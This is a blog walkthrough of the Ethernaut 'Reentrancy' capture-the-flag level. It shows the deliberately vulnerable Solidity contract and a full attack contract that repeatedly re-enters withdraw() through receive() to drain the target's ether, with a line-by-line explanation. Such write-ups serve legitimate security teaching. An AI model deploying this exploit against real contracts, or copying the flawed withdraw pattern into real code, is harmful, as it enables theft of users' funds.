#10— Ethernaut Challenge 10— Reentrancy
Objective:
- The goal of this level is for you to steal all the funds from the contract.
Understanding the code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
There is an import statement in this code so that there are no underflow and overflow errors. The Reentrance contract contains a balances mapping which you must be familiar with now if you’ve been following this series of blog posts, but if not, essentially, it is a data structure that holds the user address with the uint value of their ether balances.
The donate() function is a public payable with the destination address parameter, and the balance for the destination address is updated on the balances mapping.
The balanceOf() takes in an address as a parameter and returns the account's balance.
The withdraw function helps withdraw the amount after checking if that amount of ether is in the contract. We will be exploiting this function to get the funds of the contract.
For that to happen, you must understand how the reentrancy hack works. Fear not. I have made a blog post about it already here. It is a descriptive blog post that will help you understand the hack easily. Once you are done reading that, we can begin hacking the contract!
How to hack this contract?
Go to Remix IDE and write the code below. This is the contract used to hack the Reentrance contract.
contract Attack{
Reentrance public reentrance;
uint public atxAmt;
constructor(address payable _reentranceAddress) public{
reentrance = Reentrance(_reentranceAddress);
atxAmt = address(reentrance).balance;
}
function attack() external payable{
// require(msg.value >= atxAmt);
reentrance.donate{value: atxAmt}(address(this));
reentrance.withdraw(atxAmt);
}
function getBalance() public view returns(uint){
return address(this).balance;
}
function destruction() public{
selfdestruct(payable(msg.sender));
}
receive() external payable{
if(address(reentrance).balance >= msg.value){
reentrance.withdraw(atxAmt);
}
}
}
Explaining the solution code:
Reentrance public reentrance;
uint public atxAmt;
The Reentrance public reentrance makes a reference to the contract, and we named it reentrance to use it in our contract. The atxAmt declaration is going to be the amount that is stored in the main Reentrance contract.
constructor(address payable _reentranceAddress) public{
reentrance = Reentrance(_reentranceAddress);
atxAmt = address(reentrance).balance;
}
This constructor takes in a parameter of the address of the Reentrance contract and sets the address of our reentrance reference to the same address. The atxAmt is going to store the balance of the original contract.
function attack() external payable{
// require(msg.value >= atxAmt);
reentrance.donate{value: atxAmt}(address(this));
reentrance.withdraw(atxAmt);
}
The attack() function first donates the same amount of ether present in the contract and withdraws immediately. Since it withdraws ether, the fallback function in our contract is triggered because we need to receive payments paid to the contract, and we can do that through the receive() fallback function.
receive() external payable{
if(address(reentrance).balance >= msg.value){
reentrance.withdraw(atxAmt);
}
}
This receive function triggers the withdraw function again, and this becomes a recursive call, and this function keeps executing till the if the condition is not satisfied. And that’s it!
The remaining functions are additional and not necessary to solve this challenge.
Congratulations on completing this level, and thanks for sticking around, more solutions to the remaining challenges will be coming up in my next blog posts, so make sure to follow and clap for more similar content!
Thanks for reading this far. I wish you all the best!